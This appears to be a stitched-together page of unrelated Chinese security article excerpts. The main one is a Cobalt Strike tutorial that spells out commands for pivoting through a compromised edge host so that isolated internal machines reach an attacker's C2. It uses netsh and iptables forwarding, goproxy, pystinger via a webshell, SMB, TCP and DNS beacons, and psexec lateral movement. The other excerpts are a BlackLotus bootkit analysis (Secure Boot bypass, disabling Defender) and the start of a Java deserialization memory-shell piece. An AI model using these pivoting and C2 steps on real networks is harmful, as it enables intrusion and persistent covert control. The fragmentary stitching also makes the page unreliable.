Pink的活動再次證明了魚叉式網絡釣魚活動給組織帶來的巨大危險,因為即使是高度先進的攻擊者也使用這種載體來訪問網絡。
  18. 0x01 存在一台中转机器存在一台中转机器,这台机器出网,这种是最常见的情况。 经常是拿下一台边缘机器,其有多块网卡,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以上线。 拓扑大致如下: 上线方法一: SMB Beacon介绍官网介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。 因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。 使用这种Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。 派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的Listener>上线 或在Beacon中使用命令spawn smb(smb为我的smb listener名字) 使用插件,或自带端口扫描,扫描内网机器 转到视图,选择目标 使用psexec 选择一个hash,选择smb 监听器和对应会话 即可上线 运行成功后外部可以看到∞∞这个字符,这就是派生的SMB Beacon。 当前是连接状态,你可以Beacon上用link <ip>命令链接它或者unlink <ip>命令断开它。 这种Beacon在内网横向渗透中运用的很多。在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link <ip>)去连接它。 上线方法二:中转listener(Reverse TCP Beacon)其实和方法一是类似的 以下内容会自动配置 然后和上面方法一一样,发现内网主机且知道账号密码,psexec横向传递,选择中转listener 上线方法三:HTTP 代理中转机器不需要上线即可 使用goproxy项目做代理,项目地址: https://github.com/snail007/goproxy 过程: 1.上传proxy.exe到web服务器(边缘主机),在8080端口开启http代理 C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon 2.用netsh命令将访问内网ip 192.168.111.131的822端口(必须为未使用的端口,否则会失败)的流量重定向到外网ip 192.168.1.88的8080端口 netsh interface portproxy add v4tov4 listenaddress=192.168.111.131 listenport=822 connectaddress=192.168.1.88 connectport=8080 3.创建listener,配置如下 4.生成stageless payload,在业务服务器上执行,成功上线 连接过程 192.168.111.236 → 192.168.111.131:822→ 192.168.1.88:8080→ C2(192.168.1.89) 上线方法四、TCP Beacon(正向)正向连接和SMB Beacon比较类似。也需要一个父beaconSMB Beacon,TCP Beacon 与 Cobalt Strike 中派生 payload 的大多数动作相兼容。除了一些 要求显式 stager 的用户驱动的攻击(比如: Attacks → Packages 、 Attacks → Web Drive-by )。测试: 生成一个tcp beacon 使用该beacon生成一个stageless形式的木马: 上传到目标机器运行: 在中转机器的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线: 要销毁一个 Beacon 链接,在父会话或子会话的控制台中使用 unlink [ip address] [session PID] 。以后,你可以从同一主机(或其他主机)重新连接到 TCP Beacon。 上线方法五、使用pystinger进行代理转发pystinger的详细使用 见下面章节。 这里仅简单演示一下: 一般不会将pystinger用在这种场景下 测试环境: 攻击机kali:192.168.1.35 web服务器:192.168.1.70、192.168.111.129 业务服务器:192.168.111.236 过程: 1.上传proxy.php到WEB服务器网站目录,正常访问返回UTF-8 web服务器外网ip为192.168.1.70 上传stinger_server.exe,执行 start stinger_server.exe 0.0.0.0 攻击机(192.168.1.89)上执行 ./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000 此时已经将web服务器的60020端口转发到vps的60020端口上了 CS设置监听,HTTP Hosts为中转机器的内网ip,端口为60020: 使用psexec横向移动,选择listener为pystinger,或者直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线: 补充:中转机器为LinuxHTTP代理(中转机器不需要上线即可)使用方法与上面方法三一样。只不过要使用iptables转发: echo 1 >/proc/sys/net/ipv4/ip_forward iptables -A PREROUTING -p tcp -d 192.168.111.131 --dport 822 -j DNAT --to-destination 192.168.1.88:8080 iptables -A POSTROUTING -p tcp -d 192.168.1.88 --dport 8080 -j SNAT --to-source 192.168.111.131 测试: 中转机器(192.168.111.142) 攻击机 生成stageless payload,在目标机器上执行,成功上线 连接过程:(重新截的图,端口改了一下8080->8081) 192.168.111.140 → 192.168.111.142:8080→ 192.168.111.142:8081→ 192.168.111.131:81(C2) 使用pystinger进行代理转发和上面上线方法五一样,建立pystinger连接之后,直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线。。 CrossC2通过其他机器的Beacon可以直接上线Linux机器 CrossC2使用 用来上线Linux或MacOS机器 项目地址: 【一定要下载对应版本的】 https://github.com/gloxec/CrossC2 配置: (我这里在Windows上运行的teamserver) 创建个https监听: 生成个payload (用其他方式也可以) 如果生成不了,也可以直接命令行生成 生成之后,上传到Linux机器,运行,即可上线: 安装CrossC2Kit插件,丰富beacon的功能 内网机器上线CS: 中转的Linux机器上线之后,即可用上面的方法来上线内网机器。 TCP Beacon: 上传到目标机器运行。 然后在Linux beacon下连接: 上线之后是个黑框,checkin一下就可以了 还是建议使用上面两种方法。 0x02 边缘机器只有DNS协议出网DNS上线CS一、准备工作1)域名 ,godaddy :yokan.xxx 2)vps,防火墙开放UDP端口53 : 82.xxx.xxx.19 3)cobalt strike 4.1 二、域名设置1)设置解析 配置A记录设置成vps的ip,cs也配置在vps上 配置几个ns记录 指向刚刚A记录对应的域名 配置完成之后ping test.yokan.xxx可以ping通 vps上查看53端口占用情况,停掉vps的53端口服务 systemctl stop systemd-resolved 2)cs设置监听 ![image- 都是ns记录的域名,DNS Host(Stager)随便选择其中一个就可以。 3)nslookup查看 ,成功解析: 注意:响应的地址74.125.196.113,这个是跟profile里设置的 三、cs上线生成cs的stageless上线马,执行上线 stageless 马 dns有x64版本 , stager没有 上线之后是黑框,需要使用checkin命令让dns beacon强制回连teamserver PS:需要多等一会 这样就可以正常交互了: 0x03 边缘机器不出网方法一、TCP Beacon 正向连接<font color='red'>应用场景:边缘机器各种协议均不出网,但是可以正向访问到。</font > 使用: 先让自己的攻击机上线 然后,如"上线方法四"一样,使用TCP Beacon生成一个stageless形式的木马,上传到目标机器,并运行。 在攻击机(中转机器)的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线: 方法二、使用pystinger(毒刺)工具<font color='red'>应用场景:边缘机器各种协议均不出网,但是存在web服务,已经拿到webshell。</font > 项目地址: https://github.com/FunnyWolf/pystinger 简单原理: Pystinger来实现内网反向代理,利用http协议将目标机器端口映射至cs服务端监听端口,能在只能访问web服务且不出网的情况下可以使其上线cs 使用地址: https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md 这里直接复制过来了: 假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11 SOCK4代理proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连 vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000如下输出表示成功root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ... 2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass 2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000 2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ... 2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass 2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp 2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ... 2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass 2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config --- 2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => [] 2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010 2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO 2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => [] 2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200 2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01 2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config --- 2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020 2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start 2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000 2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020cobalt strike单主机上线proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连 stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000如下输出表示成功root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ... 2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass 2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000 2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ... 2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass 2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp 2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ... 2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass 2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config --- 2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => [] 2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010 2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO 2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => [] 2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200 2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01 2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config --- 2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020 2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start 2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000 2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1生成payload,上传到主机运行后即可上线cobalt strike多主机上线proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行 start D:/XXX/stinger_server.exe 192.168.3.11 启动服务端 192.168.3.11可以改成0.0.0.0 stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000如下输出表示成功root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ... 2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass 2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000 2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ... 2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass 2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp 2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ... 2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass 2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config --- 2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => [] 2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010 2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO 2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020 2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => [] 2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200 2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01 2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config --- 2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020 2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start 2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000 2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)生成payload,上传到主机运行后即可上线横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线定制Header及proxy如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头--header "Authorization: XXXXXX,Cookie: XXXXX" 如果webshell需要通过代理访问,可通过--proxy设置代理--proxy "socks5:127.0.0.1:1081" 测试攻击机:192.168.1.89 假设我们在拿下一台目标主机,但是无法连接外网。 使用 pystinger 工具进行 CS 上线,下载地址,通过 webshell 实现内网 SOCK4 代理,端口映射可以使目标不出网情况下在 CS 上线。 首先上传对应版本脚本到目标服务器。 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start stinger_server.exe启动服务端 把 stinger_client 上传到 teamserver 服务器,-w 指定 proxy 的 url 地址运行。 chmod +x stinger_client ./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000 CS 新建监听器,设置为目标机器的内网 IP,端口默认 60020。(teamserver 服务器和执行 stinger_client 应为同一台服务器) 生成木马,上传目标服务器并执行。可看到 CS 有新上线主机。 转自于原文链接:https://forum.butian.net/share/1644
  19. 繞過安全啟動並建立持久性在本部分中,我們將詳細了解BlackLotus如何在啟用UEFI Secure Boot的系統上實現持久性。由於我們將要描述的執行鏈非常複雜,我們將首先解釋基本原理,然後深入了解技術細節。 簡而言之,該過程包括兩個關鍵步驟: 利用CVE-2022-21894繞過安全啟動功能並安裝bootkit。這允許在早期啟動階段任意執行代碼,此時平台仍然由固件擁有,UEFI啟動服務功能仍然可用。這使得攻擊者可以在沒有物理訪問權限的情況下,在啟用了UEFI Secure Boot的設備上做許多不應該做的事情,例如修改僅用於啟動服務的NVRAM變量。這就是攻擊者在下一個步驟中為bootkit設置持久性所利用的。通過將自己的MOK寫入MokList來設置持久性,Boot僅服務NVRAM變量。這樣,它可以使用合法的Microsoft-signedshim加載其自簽名(由寫入MokList的密鑰的私鑰簽名)UEFIbootkit,而不是在每次啟動時利用該漏洞。有關這一點的更多信息,請參閱Bootkit持久性部分。 為了使下面兩部分的分析更容易,研究人員將遵循執行圖(下圖)中所示的步驟。 繞過安全啟動並使用MOK設置持久性 利用CVE-2022-21894為了繞過安全啟動,BlackLotus使用baton drop漏洞(CVE-2022-21894):安全啟動安全功能繞過漏洞。儘管這個漏洞對系統安全影響很大,但它並沒有得到應有的重視。儘管微軟在2022年1月的更新中修復了該漏洞,但由於受影響的二進製文件仍未添加到UEFI取消列表中,因此攻擊者仍有可能利用該漏洞。因此,攻擊者可以將他們自己的易受攻擊的二進製文件副本帶到受害者的設備上,以利用此漏洞並繞過最新UEFI系統上的安全啟動。 此外,自2022年8月以來,針對該漏洞的概念證明(PoC)漏洞已公開可用。考慮到第一次BlackLotus VirusTotal提交的日期,惡意軟件開發人員可能只是根據他們的需要調整了可用的PoC,而不需要深入了解此漏洞的工作原理。 讓我們先簡單介紹一下該漏洞,主要是與PoC一起發佈在GitHub上的文章中的關鍵點: 受影響的Windows啟動應用程序(如bootmgr.efi、hvloader.efi、winload.efi…)允許在應用程序加載序列化安全啟動策略之前,使用truncatememory BCD啟動選項從內存中刪除該策略。 這允許攻擊者使用其他危險的BCD選項,如bootdebug、testsigning或nointegridchecks,從而破壞安全啟動。 有多種方法可以利用此漏洞——其中三種方法已發佈在PoC存儲庫中。 例如,其中一個PoC顯示瞭如何利用它使合法的hvloader.efi加載任意的自簽名mcupdate_ 現在,我們繼續介紹BlackLotus如何利用此漏洞: 1.安裝程序重新啟動機器後,UEFI固件將繼續加載第一個啟動選項。對於Windows系統,默認情況下,第一個啟動選項是位於ESP上ESP:/efi/Microsoft/boot文件夾中的bootmgfw.efi。這一次,固件沒有執行原始受害者的bootmgfw.efi(安裝程序以前將其重命名為winload.efi),而是執行安裝程序部署的易受攻擊的啟動。 2.執行bootmgfw.efi後,它將加載BCD啟動選項,該選項先前由安裝程序修改。下圖顯示了合法BCD和修改後BCD的比較。 3.如下圖所示(路徑以綠色劃線),合法的Windows Boot Manager通常會將Windows OS加載程序(\Windows\system32\winload.efi)作為默認啟動應用程序加載。但這一次,使用修改後的BCD,它繼續加載易受攻擊的ESP:\system32\bootmgr.efi,避免內存BCD元素設置為值0x10000000,並且custom:22000023BCD指向另一個攻擊者存儲在ESP:\system32\BCD中的BCD。 合法BCD存儲(BEFORE)與BlackLotus安裝程序使用的存儲(AFTER)的比較 4.在下一步中,執行的ESP:\system32\bootmgr.efi加載位於ESP:\system32\BCD中的附加BCD。這個附加BCD的解析內容如下圖所示。 BlackLotus安裝程序釋放的第二個BCD——用於利用CVE-2022-21894 5.由於從上圖所示的BCD文件加載了選項,bootmgr.efi將繼續加載安裝程序部署的另一個易受攻擊的Windows啟動應用程序ESP:\system32\hvloader.efi,即Windows Hypervisor Loader。更重要的是,在同一BCD文件中指定了其他BCD選項: 值設置為0x10000000的truncatememory; nointegridchecks設置為Yes; testsigning也設置為Yes; 此時就會發生意想不到的事情,由於序列化的安全啟動策略應該在0x10000000以上的物理地址中加載(因為前面步驟中使用了avoidlowmemory),指定truncatmemory元素將有效地刪除它。因此,中斷安全啟動並允許使用危險的BCD選項,如nointegritychecks或testsigning。通過使用這些選項,攻擊者可以使hvloader.efi執行自己的自簽名代碼。 6.為此,使用此PoC中描述的技巧,即在執行過程中,合法的hvloader.efi從 從合法的hvloader.efi反編譯BtLoadUpdateDll函數,負責加載mcupdate_*.dll 7.現在,隨著攻擊者自己的自簽名mcupdate*.dll被加載和執行,它將繼續執行這個鏈中的最後一個組件——一個嵌入式MokInstaller (UEFI應用程序)——參見圖10了解它是如何完成的。 Hex-Rays反編譯惡意自簽名mcupdate*.dll二進制代碼 Bootkit持久性現在,MokInstaller可以繼續設置持久性,方法是將攻擊者的MOK註冊到NVRAM變量中,並將合法的Microsoft簽名的shim二進製文件設置為默認啟動加載程序來繼續設置持久性。 shim是由Linux開發人員開發的第一階段UEFI啟動加載程序,用於使各種Linux發行版與UEFI Secure Boot一起工作。它是一個簡單的應用程序,其目的是加載、驗證和執行另一個應用程序,在Linux系統中,它通常是GRUB啟動加載程序。它的工作方式是,微軟只簽署一個shim, shim負責其餘的工作,它可以通過使用db UEFI變量中的密鑰來驗證第二階段啟動加載器的完整性,還可以嵌入自己的“允許”或“取消”項或哈希列表,以確保平台和shim開發人員(例如Canonical, RedHat等)都信任的組件被允許執行。除了這些列表之外,shim還允許使用用戶管理的外部密鑰數據庫,即MOK列表。該MOK數據庫存儲在名為MokList的僅啟動NVRAM變量中。在不利用上述漏洞的情況下,需要物理訪問才能在啟用UEFI Secure Boot的系統上對其進行修改(僅在啟動期間,在系統加載程序調用UEFI啟動服務函數ExitBootServices之前可用)。然而,通過利用此漏洞,攻擊者能夠繞過UEFI Secure Boot並在調用ExitBootServices之前執行自己的自簽名代碼,因此他們可以輕鬆註冊自己的密鑰(通過修改MokList NVRAM變量),使填充程序執行任何應用程序(由該註冊密鑰簽名),而不會導致安全違規。 MOK啟動過程 8.MokInstaller UEFI應用程序繼續為BlackLotus UEFIbootkit設置持久性,並通過以下方式覆蓋利用痕跡: 8.1 從安裝程序創建的備份中恢復受害者的原始BCD存儲,並將efi替換為合法的microsoft簽名shim,該shim先前由安裝程序放置到ESP:\system32\bootload.efi中。 8.2創建包含攻擊者自簽名公鑰證書的MokList NVRAM變量。請注意,此變量的格式與任何其他UEFI簽名數據庫變量(如db或dbx)的格式相同,它可以由零個或多個EFI_signature_LIST類型的簽名列表組成,如UEFI規範中所定義。 8.3 從攻擊者的ESP:\system32\文件夾中刪除涉及攻擊的所有文件。 最後,它會重新啟動計算機,使部署的shim執行安裝程序從\EFI\Microsoft\Boot\grub64.EFI中刪除自簽名bootkit,grub64.EFI通常是x86-64系統上shim執行的默認第二階段啟動加載程序。 Hex Rays反編譯代碼——MokInstaller UEFI應用程序為BlackLotus bootkit設置持久性 BlackLotus UEFIbootkit一旦配置了持久性,就會在每次系統啟動時執行BlackLotusbootkit。 bootkit的目標是部署一個內核驅動程序和一個最終的用戶模式組件——HTTP下載器。在執行過程中,它試圖禁用其他Windows安全功能——基於虛擬化的安全(VBS)和Windows Defender——以提高成功部署和隱形操作的機會。在詳細介紹如何實現之前,讓我們先了解一下內核驅動程序和HTTP下載器的基本知識: 內核驅動程序負責: 部署鏈的下一個組件—HTTP下載器; 在被終止運行的情況下保持加載器不被關閉; 防止從ESP中刪除bootkit文件; 如果HTTP下載器指示的話,執行額外的內核有效負載; 根據HTTP下載器的指示,卸載bootkit。 HTTP下載器負責: 與CC通信; 執行從CC收到的命令; 下載並執行從CC接收到的有效負載(支持內核有效負載和用戶模式有效負載)。 從安裝程序到HTTP下載器的完整執行流程(簡化後)如下圖所示。我們將在下一節中更詳細地描述這些步驟。 BlackLotus UEFIbootkit執行示意圖 BlackLotus執行流程執行步驟如下(這些步驟如下圖所示): 1.UEFI固件執行默認的Windows啟動選項,該選項通常存儲在\EFI\Microsoft\boot\bootmgfw.EFI中的文件。正上所述,MokInstaller二進製文件用一個合法的簽名shim替換了這個文件。 2.執行shim時,它讀取MokList NVRAM變量,並使用攻擊者先前存儲在其中的證書來驗證第二階段啟動加載程序——位於\EFI\Microsoft\Boot\grubx64.efi中的自簽名BlackLotus UEFI啟動程序。 3.驗證後,shim執行bootkit。 4.bootkit從創建僅啟動VbsPolicyDisable NVRAM變量開始。如本文所述,此變量在啟動期間由Windows OS加載程序評估,如果已定義,則不會初始化核心VBS功能,如HVCI和憑據保護。 5.在以下步驟中,bootkit繼續使用UEFIbootkit使用的通用模式。它攔截典型Windows啟動流中包含的組件的執行,例如Windows啟動管理器、Windows OS加載器和Windows OS內核,並將它們的一些功能掛鉤到內存中。另外,它還嘗試通過修復某些驅動程序來禁用Windows Defender。所有這些都是為了在系統啟動過程的早期階段實現有效負載的執行,並避免檢測。以下函數已掛鉤或修復: 5.1 bootmgfw.efi或bootmgr.efi中的ImgArchStartBootApplication:該函數通常由bootkit掛鉤,以捕捉Windows OS加載程序(winload.efi)加載到內存中但尚未執行的時刻——這是執行更多內存修復的正確時刻。 5.2 winload.efi中的BlImgAllocateImageBuffer:用於為惡意內核驅動程序分配額外的內存緩衝區。 5.3 winload.efi中的OslArchTransferToKernel:連接以捕捉系統內核和某些系統驅動程序已加載到內存中但尚未執行的時刻,這是執行更多內存修復的最佳時刻。下面提到的驅動程序在此掛鉤中進行了修復。下圖顯示了這個掛鉤中負責在內存中查找適當驅動程序的代碼。 5.4 WdBoot.sys和WdFilter.sys:BlackLotus修復了WdBoot.sys和WdFilter.sys(分別是Windows Defender ELAM驅動程序和Windows Defender文件系統篩選器驅動程序)的入口點,以立即返回。 5.5 disk.sys:bootkit將disk.sys驅動程序的入口點掛鉤,以便在系統初始化的早期階段執行BlackLotus內核驅動程序。 OslArchTransferToKernel掛鉤的反編譯代碼——修復Windows Defender驅動程序並蒐索disk.sys入口點 6.接下來,當系統內核執行disk.sys驅動程序的入口點時,已安裝的掛鉤會跳轉到惡意內核驅動程序入口點。惡意代碼反過來恢復原始disk.sys以使系統正常運行,並等待winlogon.exe進程啟動。 7.當惡意驅動程序檢測到winlogon.exe進程已啟動時,它會向其中註入並執行最終的用戶模式組件——HTTP下載器。 內核驅動程序內核驅動程序主要負責四個任務: 將HTTP下載器注入到winlogon.exe中,並在線程終止時重新註入它; 保護部署在ESP上的bootkit文件不被刪除; 解除用戶模式Windows Defender進程MsMpEngine.exe; 與HTTP下載器通信,並在必要時執行任何命令。 HTTP下載器持久性內核驅動程序負責部署HTTP下載程序。當驅動程序啟動時,它會等待名為winlogon.exe的進程啟動,然後再執行任何其他操作。進程啟動後,驅動程序解密HTTP下載程序二進製文件,將其註入winlogon.exe的地址空間,並在新線程中執行。然後,驅動程序會定期檢查線程是否仍在運行,並在必要時重複注入。如果驅動程序檢測到內核調試器,則不會部署HTTP下載程序。 保護ESP上的bootkit文件不被刪除為了保護ESP上的bootkit文件,內核驅動程序使用了一個簡單的技巧。它打開所有要保護的文件,複製並保存其句柄,並使用ObSetHandleAttributes內核函數將HandleFlags(OBJECT_HANDLE_flag_INFORMATION)參數內的ProtectFromClose標誌指定為1,從而保護句柄不被任何其他進程關閉。這將阻止任何刪除或修改受保護文件的嘗試。受保護的文件包括: ESP:\EFI\Microsoft\Boot\winload.efiESP:\EFI\Microsoft\Boot\bootmgfw.efiESP:\EFI\Microsoft\Boot\grubx64.efi如果用戶試圖刪除這些受保護的文件,就會出現如下圖所示的情況。 試圖刪除受BlackLotus驅動程序保護的文件 作為另一層保護,如果用戶或安全軟件能夠取消設置保護標誌並關閉句柄,內核驅動程序將持續監視它們,如果句柄不再存在,則通過調用KeBugCheck(INVALID_kernel_HANDLE)函數來生成一個BSOD。 解除主Windows Defender進程內核驅動程序還試圖解除主Windows Defender進程MsMpEng.exe的防護。為此,它通過為每個進程設置SE_PRIVILEGE_REMOVED屬性來刪除所有進程的令牌權限。因此,Defender進程應該無法正確地完成其工作(例如掃描文件)。但是,由於該功能執行得很差,因此可以通過重新啟動MsMpEng.exe進程使其失效。
  20. 0x01 前言很多小伙伴做反序列化漏洞的研究都是以命令執行為目標,本地測試最喜歡的就是彈計算器,但沒有對反序列化漏洞進行深入研究,例如如何回顯命令執行的結果,如何加載內存馬。 (關注“Beacon Tower Lab”烽火台實驗室,為您持續輸出前沿的安全攻防技術) 在上一篇文章中↓↓↓ 記一次反序列化漏洞的利用之路 遇到了一個實際環境中的反序列化漏洞,也通過調試最終成功執行命令,達到了RCE的效果。在實際的攻防場景下,能執行命令並不是最完美的利用場景,內存馬才是最終的目標。本篇文章就在此基礎上講一講如何進行命令回顯和加載內存馬。 0x02回顯在研究基於反序列化利用鏈的回顯實現之前,首先解決基於反序列化利用鏈的回顯實現,也就是在響應結果中輸出命令執行的結果。對PHP語言熟悉的小伙伴可能會覺得這並不算問題,直接echo不就行了,java裡面是不是也應該有類似的函數例如out.println()。 Java是一種面向對象的編程語言,所有的操作都是基於類和對象進行,如果要在頁面響應中輸出內容,必須要先有HttpServletResponse對象,典型的把命令執行結果響應到頁面的方式如圖2.1所示。 圖2.1 通過HttpServletResponse對象輸出命令執行結果 從圖2.1可以看出最簡單的命令執行,也需要比較複雜的代碼邏輯,也就要求利用鏈中必須要支持執行複雜語句。並不是所有的ysoserial利用鏈都能達到回顯和 內存馬的效果,只有支持複雜語句的利用鏈才能回顯和內存馬,如表2.1所示。 表2.1 ysoserial利用鏈中對複雜語句的支持 我們先以CommonsBeanutils1利用鏈來進行分析,其他CommonsCollections利用鏈本質上是一樣的,CommonsBeanutils1鍊和CommonsCollections鏈最終都是xalan庫來動態加載字節碼,執行複雜語句。關於xalan利用鏈的分析網上有很多文章,這裡暫不做分析。 要實現反序列化利用鏈的結果回顯,最重要的是要獲取到HttpServletRequest對象和HttpServletResponse對象,根據目標環境的不同,獲取這兩個對象的辦法是不一樣的,如圖2.2,圖2.3所示。 圖2.2 SpringBoot環境下獲取request和response對象 圖2.3 SpringMVC環境下獲取request和response對象 不同的服務器獲取這兩個對象的方式不一樣,其他例如Weblogic、Jboss、Websphere這些中間件獲取這兩個對象的方式也不一樣,這種差異化極大的增加了反序列化回顯和內存馬實現的難度。 有沒有一種比較通用的辦法能夠獲取到request和response對象呢?答案是有的,基於Thread.CurrentThread()遞歸搜索可以實現通用的對象查找。目前測試環境是SpringMVC和SpringBOOT,其他環境暫未測試。 Thread.CurrentThread()中保存了當前線程中的全局信息,系統運行環境中所有的類對像都保存在Thread.CurrentThread()。用於回顯需要的request和response對象可以在Thread.CurrentThread()中找到;用於內存馬實現的StandardContext對像也可以找到。 遞歸搜索的思路就是遍歷Thread.CurrentThread()下的每一個字段,如果字段類別繼承自目標類(例如javax.servlet.http.HttpServletRequest),則進行標記,否則繼續遍歷。如圖2.3的方式是在已知目標類的位置獲取目標類對應對象的方式,我們的改進辦法是在未知目標類位置的情況下,通過遍歷的方式來發現目標類對象。 